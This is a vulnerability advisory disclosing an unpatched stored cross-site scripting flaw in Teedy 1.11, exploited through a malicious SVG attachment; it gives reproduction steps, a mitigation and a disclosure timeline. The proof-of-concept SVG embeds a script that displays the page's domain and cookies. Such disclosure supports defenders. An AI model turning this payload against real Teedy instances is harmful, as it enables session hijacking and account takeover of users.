Advisory-Teedy.txt

Teedy Stored XSS Vulnerability

Vulnerability: Stored Cross-Site Scripting (XSS) in Teedy
Affected Versions: 1.11 (latest)
Fixed Version: None (unpatched)
Reported Date: 12/07/2025
Researcher: x0root

Technical Details

Type: Stored Cross-Site Scripting (XSS)
Attack Vector: Remote
Impact: Information Disclosure, Session Hijacking

Description
A stored Cross-Site Scripting vulnerability exists in Teedy v1.11. Authenticated
attackers can upload a malicious SVG file as a document attachment via the
"New Files" column during document creation. When a victim views the document
and downloads the attached SVG file, the embedded JavaScript payload executes
in the victim's browser session under the Teedy domain, exposing the auth_token
cookie and enabling full session hijacking and account takeover.

Affected Component
· Document file attachment upload (New Files column)
· File download handler serving SVG content without sanitization

Proof of Concept

1. Authenticate to a Teedy instance (confirmed on https://demo.teedy.io/)
2. Create a new document
3. Upload an SVG file containing:

   <?xml version="1.0" encoding="UTF-8" standalone="no"?>
   <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
   <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
      <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
      <script type="text/javascript">
         alert(document.domain)
         alert(document.cookie)
      </script>
   </svg>

4. Save the document
5. View the document and Click the (...) button next to the uploaded file
6. Press "Download"
7. The XSS payload executes immediately, exposing the auth_token cookie

Impact
· Session hijacking via auth_token cookie theft
· Account takeover
· Unauthorized access to private documents
· Arbitrary JavaScript execution in the victim's browser

Mitigation
· No official patch available as of March 7, 2026
· Workaround: Restrict SVG uploads or sanitize SVG content server-side before serving

Timeline
· 12/07/2025 - Vulnerability reported to vendor (Sismics) via email
· 02/10/2026 - Vendor replied requesting updated reproduction steps
· 02/10/2026 - Updated reproduction steps provided
· 03/07/2026 - No further response after 90 days, public disclosure

References
· Teedy GitHub: https://github.com/sismics/docs
· Demo Instance: https://demo.teedy.io/
· CVE: Pending